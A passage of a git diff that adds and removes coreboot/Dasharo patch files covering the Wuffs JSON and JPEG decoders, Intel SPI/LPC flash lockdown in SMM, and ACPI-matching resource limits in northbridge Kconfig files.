len0)) {} ++DecodeJsonArgQuirks::DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0) ++ : ptr(ptr0), len(len0) {} + + DecodeJsonArgQuirks // + DecodeJsonArgQuirks::DefaultValue() { +- return DecodeJsonArgQuirks(wuffs_base__empty_slice_u32()); ++ return DecodeJsonArgQuirks(nullptr, 0); + } + + DecodeJsonArgJsonPointer::DecodeJsonArgJsonPointer(std::string repr0) +@@ -63633,58 +80195,58 @@ DecodeJsonArgJsonPointer::DefaultValue() { + + // -------- + +-#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ +- while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ +- if (tok_status.repr == nullptr) { \ +- goto done; \ +- } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ +- tok_buf.compact(); \ +- } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ +- if (!io_error_message.empty()) { \ +- ret_error_message = std::move(io_error_message); \ +- goto done; \ +- } else if (cursor_index != io_buf->meta.ri) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ +- goto done; \ +- } else if (io_buf->meta.closed) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ +- goto done; \ +- } \ +- io_buf->compact_retaining(dec->history_retain_length()); \ +- if (io_buf->meta.wi >= io_buf->data.len) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ +- goto done; \ +- } \ +- cursor_index = io_buf->meta.ri; \ +- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); \ +- } else { \ +- ret_error_message = tok_status.message(); \ +- goto done; \ +- } \ +- tok_status = \ +- dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ +- if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ +- (tok_buf.meta.wi > tok_buf.data.len) || \ +- (io_buf->meta.ri > io_buf->meta.wi) || \ +- (io_buf->meta.wi > io_buf->data.len)) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ +- goto done; \ +- } \ +- } \ +- wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ +- uint64_t token_len = token.length(); \ +- if ((io_buf->meta.ri < cursor_index) || \ +- ((io_buf->meta.ri - cursor_index) < token_len)) { \ +- ret_error_message = \ +- "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ +- goto done; \ +- } \ +- uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ +- (void)(token_ptr); \ ++#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ ++ while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ ++ if (tok_status.repr == nullptr) { \ ++ goto done; \ ++ } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ ++ tok_buf.compact(); \ ++ } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ ++ if (!io_error_message.empty()) { \ ++ ret_error_message = std::move(io_error_message); \ ++ goto done; \ ++ } else if (cursor_index != io_buf->meta.ri) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ ++ goto done; \ ++ } else if (io_buf->meta.closed) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ ++ goto done; \ ++ } \ ++ io_buf->compact(); \ ++ if (io_buf->meta.wi >= io_buf->data.len) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ ++ goto done; \ ++ } \ ++ cursor_index = io_buf->meta.ri; \ ++ io_error_message = input.CopyIn(io_buf); \ ++ } else { \ ++ ret_error_message = tok_status.message(); \ ++ goto done; \ ++ } \ ++ tok_status = \ ++ dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ ++ if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ ++ (tok_buf.meta.wi > tok_buf.data.len) || \ ++ (io_buf->meta.ri > io_buf->meta.wi) || \ ++ (io_buf->meta.wi > io_buf->data.len)) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ ++ goto done; \ ++ } \ ++ } \ ++ wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ ++ uint64_t token_len = token.length(); \ ++ if ((io_buf->meta.ri < cursor_index) || \ ++ ((io_buf->meta.ri - cursor_index) < token_len)) { \ ++ ret_error_message = \ ++ "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ ++ goto done; \ ++ } \ ++ uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ ++ (void)(token_ptr); \ + cursor_index += static_cast(token_len) + + // -------- +@@ -63965,11 +80527,11 @@ DecodeJson(DecodeJsonCallbacks& callbacks, + goto done; + } + bool allow_tilde_n_tilde_r_tilde_t = false; +- for (size_t i = 0; i < quirks.repr.len; i++) { +- dec->set_quirk(quirks.repr.ptr[i], 1); +- if (quirks.repr.ptr[i] == ++ for (size_t i = 0; i < quirks.len; i++) { ++ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); ++ if (quirks.ptr[i].first == + WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T) { +- allow_tilde_n_tilde_r_tilde_t = true; ++ allow_tilde_n_tilde_r_tilde_t = (quirks.ptr[i].second != 0); + } + } + +@@ -64025,7 +80587,7 @@ DecodeJson(DecodeJsonCallbacks& callbacks, + goto done; + } + depth++; +- if (depth > WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { ++ if (depth > (int32_t)WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { + ret_error_message = + "wuffs_aux::DecodeJson: internal error: bad depth"; + goto done; +-- +2.39.2 + diff --git a/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch b/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch new file mode 100644 index 000000000..fa1310628 --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch @@ -0,0 +1,91 @@ +From efad423f8472c1b9c130842e3d92625500f82d5d Mon Sep 17 00:00:00 2001 +From: Nigel Tao +Date: Tue, 13 Aug 2024 22:29:21 +1000 +Subject: [PATCH] lib/jpeg: avoid calling malloc and free + +Since commit 1d029b40c9de ("lib/jpeg: Replace decoder with Wuffs' +implementation"), a relatively large heap allocation is needed to decode +many JPEGs for use as work area. The prior decoder did not need this, +but also had many limitations in the JPEGs it could decode, was not as +memory-safe and quickly crashed under fuzzing. + +This commit keeps using Wuffs' JPEG decoder, but it no longer requires +any heap allocation (and thus configuring the heap size depending on how +big a bootsplash image you want to support). + +Change-Id: Ie4c52520cbce498539517c4898ff765365a6beba +Signed-off-by: Nigel Tao +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83895 +Tested-by: build bot (Jenkins) +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +Reviewed-by: Jonathon Hall +--- + src/lib/jpeg.c | 36 +++++++++++++++++++++--------------- + 1 file changed, 21 insertions(+), 15 deletions(-) + +diff --git a/src/lib/jpeg.c b/src/lib/jpeg.c +index 242cf0ca8e..617ab0b22a 100644 +--- a/src/lib/jpeg.c ++++ b/src/lib/jpeg.c +@@ -1,9 +1,7 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + + /* +- * Provide a simple API around the Wuffs JPEG decoder +- * Uses the heap (and lots of it) for the image-size specific +- * work buffer, so ramstage-only. ++ * Provide a simple API around the Wuffs JPEG decoder. + */ + + #include +@@ -85,6 +83,24 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, + return JPEG_DECODE_FAILED; + } + ++ /* Opting in to lower quality means that we can pass an empty slice as the ++ * "work buffer" argument to wuffs_jpeg__decoder__decode_frame below. ++ * ++ * Decoding progressive (not sequential) JPEGs would still require dynamic ++ * memory allocation (and the amount of work buffer required depends on the ++ * image dimensions), but we choose to just reject progressive JPEGs. It is ++ * simpler than sometimes calling malloc (which can fail, especially for ++ * large allocations) and free. ++ * ++ * More commentary about these quirks is at ++ * https://github.com/google/wuffs/blob/beaf45650085a16780b5f708b72daaeb1aa865c8/std/jpeg/decode_quirks.wuffs ++ */ ++ wuffs_jpeg__decoder__set_quirk( ++ &dec, WUFFS_BASE__QUIRK_QUALITY, ++ WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY); ++ wuffs_jpeg__decoder__set_quirk( ++ &dec, WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS, 1); ++ + wuffs_base__image_config imgcfg; + wuffs_base__io_buffer src = wuffs_base__ptr_u8__reader(filedata, filesize, true); + status = wuffs_jpeg__decoder__decode_image_config(&dec, &imgcfg, &src); +@@ -104,19 +120,9 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, + return JPEG_DECODE_FAILED; + } + +- uint64_t workbuf_len_min_incl = wuffs_jpeg__decoder__workbuf_len(&dec).min_incl; +- uint8_t *workbuf_array = malloc(workbuf_len_min_incl); +- if ((workbuf_array == NULL) && workbuf_len_min_incl) { +- return JPEG_DECODE_FAILED; +- } +- +- wuffs_base__slice_u8 workbuf = +- wuffs_base__make_slice_u8(workbuf_array, workbuf_len_min_incl); + status = wuffs_jpeg__decoder__decode_frame(&dec, &pixbuf, &src, +- WUFFS_BASE__PIXEL_BLEND__SRC, workbuf, NULL); +- +- free(workbuf_array); +- ++ WUFFS_BASE__PIXEL_BLEND__SRC, ++ wuffs_base__empty_slice_u8(), NULL); + if (status.repr) { + return JPEG_DECODE_FAILED; + } +-- +2.39.2 + diff --git a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch deleted file mode 100644 index 768dfc16c..000000000 --- a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch +++ /dev/null @@ -1,391 +0,0 @@ -From ff22122c229bbe2109de92ded773493428f7ece9 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= -Date: Sun, 20 Oct 2024 13:15:19 +0200 -Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -Heads payload uses APM_CNT_FINALIZE SMI to set and lock down -the SPI controller with PR0 flash protection. Add new option -to skip LPC and FAST SPI lock down in coreboot and move it -to APM_CNT_FINALIZE SMI handler. - -Signed-off-by: Michał Żygowski ---- - src/soc/intel/alderlake/finalize.c | 4 ++- - src/soc/intel/cannonlake/finalize.c | 3 +- - src/soc/intel/common/block/lpc/Makefile.inc | 4 +++ - src/soc/intel/common/block/smm/smihandler.c | 10 ++++++ - .../common/pch/include/intelpch/lockdown.h | 3 ++ - src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++++ - .../intel/common/pch/lockdown/Makefile.inc | 5 +++ - src/soc/intel/common/pch/lockdown/lockdown.c | 33 +++++------------ - .../intel/common/pch/lockdown/lockdown_lpc.c | 23 ++++++++++++ - .../intel/common/pch/lockdown/lockdown_spi.c | 35 +++++++++++++++++++ - src/soc/intel/denverton_ns/lpc.c | 3 +- - src/soc/intel/elkhartlake/finalize.c | 3 +- - src/soc/intel/jasperlake/finalize.c | 3 +- - src/soc/intel/meteorlake/finalize.c | 3 +- - src/soc/intel/skylake/finalize.c | 3 +- - src/soc/intel/tigerlake/finalize.c | 3 +- - src/soc/intel/xeon_sp/finalize.c | 3 +- - 17 files changed, 123 insertions(+), 33 deletions(-) - create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c - create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c - -diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c -index 460c8af174e..9cd9351d96a 100644 ---- a/src/soc/intel/alderlake/finalize.c -+++ b/src/soc/intel/alderlake/finalize.c -@@ -84,7 +84,9 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); -+ - tbt_finalize(); - if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && - CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) -diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c -index ba7fc69b552..b5f727e97c7 100644 ---- a/src/soc/intel/cannonlake/finalize.c -+++ b/src/soc/intel/cannonlake/finalize.c -@@ -87,7 +87,8 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && - CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) - heci1_disable(); -diff --git a/src/soc/intel/common/block/lpc/Makefile.inc b/src/soc/intel/common/block/lpc/Makefile.inc -index b510cd0ec35..60792654b5a 100644 ---- a/src/soc/intel/common/block/lpc/Makefile.inc -+++ b/src/soc/intel/common/block/lpc/Makefile.inc -@@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c - - ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c - ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc.c -+ -+ifeq ($(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM),y) -+smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c -+endif -diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c -index 4bfd17bfd07..dcd74764957 100644 ---- a/src/soc/intel/common/block/smm/smihandler.c -+++ b/src/soc/intel/common/block/smm/smihandler.c -@@ -15,12 +15,14 @@ - #include - #include - #include -+#include - #include - #include - #include - #include - #include - #include -+#include - #include - #include - #include -@@ -343,6 +345,14 @@ static void finalize(void) - } - finalize_done = 1; - -+ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) { -+ /* SPI lock down configuration */ -+ fast_spi_lockdown_bios(CHIPSET_LOCKDOWN_COREBOOT); -+ -+ /* LPC/eSPI lock down configuration */ -+ lpc_lockdown_config(CHIPSET_LOCKDOWN_COREBOOT); -+ } -+ - if (CONFIG(SPI_FLASH_SMM)) - /* Re-init SPI driver to handle locked BAR */ - fast_spi_init(); -diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h -index b5aba06fe0e..1b96f41a2a4 100644 ---- a/src/soc/intel/common/pch/include/intelpch/lockdown.h -+++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h -@@ -22,4 +22,7 @@ int get_lockdown_config(void); - */ - void soc_lockdown_config(int chipset_lockdown); - -+void fast_spi_lockdown_bios(int chipset_lockdown); -+void lpc_lockdown_config(int chipset_lockdown); -+ - #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ -diff --git a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig -index 8fce5e785c2..fbeb341e9ac 100644 ---- a/src/soc/intel/common/pch/lockdown/Kconfig -+++ b/src/soc/intel/common/pch/lockdown/Kconfig -@@ -1,7 +1,22 @@ - config SOC_INTEL_COMMON_PCH_LOCKDOWN - bool - default n -+ select HAVE_INTEL_CHIPSET_LOCKDOWN - help - This option allows to have chipset lockdown for DMI, FAST_SPI and - soc_lockdown_config() to implement any additional lockdown as PMC, - LPC for supported PCH. -+ -+config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM -+ bool "Lock down SPI controller in SMM" -+ default n -+ depends on HAVE_SMI_HANDLER -+ select SPI_FLASH_SMM -+ help -+ This option allows to have chipset lockdown for FAST_SPI and LPC for -+ supported PCH. If selected, coreboot will skip locking down the SPI -+ and LPC controller. The payload or OS is responsible for locking it -+ using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash -+ protection. -+ -+ If unsure, say N. -\ No newline at end of file -diff --git a/src/soc/intel/common/pch/lockdown/Makefile.inc b/src/soc/intel/common/pch/lockdown/Makefile.inc -index 71466f8edd1..64aad562acf 100644 ---- a/src/soc/intel/common/pch/lockdown/Makefile.inc -+++ b/src/soc/intel/common/pch/lockdown/Makefile.inc -@@ -1,2 +1,7 @@ - ## SPDX-License-Identifier: GPL-2.0-only - ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c -+ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_lpc.c -+ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_spi.c -+ -+smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c -+smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c -diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c -index 1b1d99cc0c9..7e52fb826fe 100644 ---- a/src/soc/intel/common/pch/lockdown/lockdown.c -+++ b/src/soc/intel/common/pch/lockdown/lockdown.c -@@ -61,21 +61,24 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) - /* Set FAST_SPI opcode menu */ - fast_spi_set_opcode_menu(); - -- /* Discrete Lock Flash PR registers */ -- fast_spi_pr_dlock(); -- - /* Check if SPI transaction is pending */ - fast_spi_cycle_in_progress(); - - /* Clear any outstanding status bits like AEL, FCERR, FDONE, SAF etc. */ - fast_spi_clear_outstanding_status(); - -- /* Lock FAST_SPIBAR */ -- fast_spi_lock_bar(); -- - /* Set Vendor Component Lock (VCL) */ - fast_spi_vscc0_lock(); - -+ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ return; -+ -+ /* Discrete Lock Flash PR registers */ -+ fast_spi_pr_dlock(); -+ -+ /* Lock FAST_SPIBAR */ -+ fast_spi_lock_bar(); -+ - /* Set BIOS Interface Lock, BIOS Lock */ - if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { - /* BIOS Interface Lock */ -@@ -95,24 +98,6 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) - } - } - --static void lpc_lockdown_config(int chipset_lockdown) --{ -- /* Set BIOS Interface Lock, BIOS Lock */ -- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { -- /* BIOS Interface Lock */ -- lpc_set_bios_interface_lock_down(); -- -- /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP) && is_smm_bwp_permitted()) { -- lpc_set_eiss(); -- lpc_enable_wp(); -- } -- -- /* BIOS Lock */ -- lpc_set_lock_enable(); -- } --} -- - static void sa_lockdown_config(int chipset_lockdown) - { - if (!CONFIG(SOC_INTEL_COMMON_BLOCK_SA)) -diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c -new file mode 100644 -index 00000000000..69278ea343f ---- /dev/null -+++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c -@@ -0,0 +1,23 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+#include -+#include -+ -+void lpc_lockdown_config(int chipset_lockdown) -+{ -+ /* Set BIOS Interface Lock, BIOS Lock */ -+ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { -+ /* BIOS Interface Lock */ -+ lpc_set_bios_interface_lock_down(); -+ -+ /* Only allow writes in SMM */ -+ if (CONFIG(BOOTMEDIA_SMM_BWP)) { -+ lpc_set_eiss(); -+ lpc_enable_wp(); -+ } -+ -+ /* BIOS Lock */ -+ lpc_set_lock_enable(); -+ } -+} -diff --git a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c -new file mode 100644 -index 00000000000..fa09cec7c2e ---- /dev/null -+++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c -@@ -0,0 +1,35 @@ -+/* SPDX-License-Identifier: GPL-2.0-only */ -+ -+#include -+#include -+#include -+ -+void fast_spi_lockdown_bios(int chipset_lockdown) -+{ -+ if (!CONFIG(SOC_INTEL_COMMON_BLOCK_FAST_SPI)) -+ return; -+ -+ /* Discrete Lock Flash PR registers */ -+ fast_spi_pr_dlock(); -+ -+ /* Lock FAST_SPIBAR */ -+ fast_spi_lock_bar(); -+ -+ /* Set BIOS Interface Lock, BIOS Lock */ -+ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { -+ /* BIOS Interface Lock */ -+ fast_spi_set_bios_interface_lock_down(); -+ -+ /* Only allow writes in SMM */ -+ if (CONFIG(BOOTMEDIA_SMM_BWP)) { -+ fast_spi_set_eiss(); -+ fast_spi_enable_wp(); -+ } -+ -+ /* BIOS Lock */ -+ fast_spi_set_lock_enable(); -+ -+ /* EXT BIOS Lock */ -+ fast_spi_set_ext_bios_lock_enable(); -+ } -+} -diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c -index 7ebca1eb946..8d8acf05088 100644 ---- a/src/soc/intel/denverton_ns/lpc.c -+++ b/src/soc/intel/denverton_ns/lpc.c -@@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { - - static void finalize_chipset(void *unused) - { -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - } - - BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); -diff --git a/src/soc/intel/elkhartlake/finalize.c b/src/soc/intel/elkhartlake/finalize.c -index 275413b4efa..802d02cb596 100644 ---- a/src/soc/intel/elkhartlake/finalize.c -+++ b/src/soc/intel/elkhartlake/finalize.c -@@ -43,7 +43,8 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && - CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) - heci_finalize(); -diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c -index 6cff7a80f30..1b68cc51786 100644 ---- a/src/soc/intel/jasperlake/finalize.c -+++ b/src/soc/intel/jasperlake/finalize.c -@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - - /* Indicate finalize step with post code */ - post_code(POSTCODE_OS_BOOT); -diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c -index a977b0516e5..951153fa812 100644 ---- a/src/soc/intel/meteorlake/finalize.c -+++ b/src/soc/intel/meteorlake/finalize.c -@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - tbt_finalize(); - sa_finalize(); - if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && -diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c -index fd80aeac1a0..a147b62e46f 100644 ---- a/src/soc/intel/skylake/finalize.c -+++ b/src/soc/intel/skylake/finalize.c -@@ -106,7 +106,8 @@ static void soc_finalize(void *unused) - pch_finalize_script(dev); - - soc_lockdown(dev); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - - /* Indicate finalize step with post code */ - post_code(POSTCODE_OS_BOOT); -diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c -index cd02745a9e6..06ce243fe72 100644 ---- a/src/soc/intel/tigerlake/finalize.c -+++ b/src/soc/intel/tigerlake/finalize.c -@@ -55,7 +55,8 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - tbt_finalize(); - if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) - heci1_disable(); -diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c -index af630fe8127..8e409b8c439 100644 ---- a/src/soc/intel/xeon_sp/finalize.c -+++ b/src/soc/intel/xeon_sp/finalize.c -@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) - if (!CONFIG(USE_PM_ACPI_TIMER)) - setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); - -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - lock_pam0123(); - - if (CONFIG_MAX_SOCKET > 1) { diff --git a/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch b/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch new file mode 100644 index 000000000..4b48903fa --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch @@ -0,0 +1,130 @@ +From a2180b33351e63187b6de834d3a3fd30ea8b500c Mon Sep 17 00:00:00 2001 +From: Arthur Heymans +Date: Thu, 25 Jan 2024 16:40:50 +0100 +Subject: [PATCH] nb/intel/*: Match ACPI with resource allocation + +Currently resource allocation starts top down from the default value +0xfe000000. This does not match what ACPI reports, so adapt +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT to reflect that. + +Signed-off-by: Arthur Heymans +Change-Id: I2ba0e96a7ab18d65b7fbbb38b1a979ea2ec6d1be +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80207 +Tested-by: build bot (Jenkins) +Reviewed-by: Nico Huber +--- + src/northbridge/intel/gm45/Kconfig | 4 ++++ + src/northbridge/intel/haswell/Kconfig | 4 ++++ + src/northbridge/intel/i945/Kconfig | 4 ++++ + src/northbridge/intel/ironlake/Kconfig | 4 ++++ + src/northbridge/intel/pineview/Kconfig | 4 ++++ + src/northbridge/intel/sandybridge/Kconfig | 4 ++++ + src/northbridge/intel/x4x/Kconfig | 4 ++++ + 7 files changed, 28 insertions(+) + +diff --git a/src/northbridge/intel/gm45/Kconfig b/src/northbridge/intel/gm45/Kconfig +index 8059e7ee80..fef0d735b3 100644 +--- a/src/northbridge/intel/gm45/Kconfig ++++ b/src/northbridge/intel/gm45/Kconfig +@@ -31,6 +31,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config SMM_RESERVED_SIZE + hex + default 0x100000 +diff --git a/src/northbridge/intel/haswell/Kconfig b/src/northbridge/intel/haswell/Kconfig +index 4b83a25bc1..35403373e7 100644 +--- a/src/northbridge/intel/haswell/Kconfig ++++ b/src/northbridge/intel/haswell/Kconfig +@@ -60,6 +60,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default ECAM_MMCONF_BASE_ADDRESS ++ + config DCACHE_RAM_BASE + hex + default 0xff7c0000 +diff --git a/src/northbridge/intel/i945/Kconfig b/src/northbridge/intel/i945/Kconfig +index ef925e17e7..32eff1a611 100644 +--- a/src/northbridge/intel/i945/Kconfig ++++ b/src/northbridge/intel/i945/Kconfig +@@ -41,6 +41,10 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 64 + ++# This number must be equal or lower than what's reported in ACPI PCI _CRS ++config DOMAIN_RESOURCE_32BIT_LIMIT ++ default 0xfec00000 ++ + config OVERRIDE_CLOCK_DISABLE + bool + default n +diff --git a/src/northbridge/intel/ironlake/Kconfig b/src/northbridge/intel/ironlake/Kconfig +index ce705dcf53..2bafebf92e 100644 +--- a/src/northbridge/intel/ironlake/Kconfig ++++ 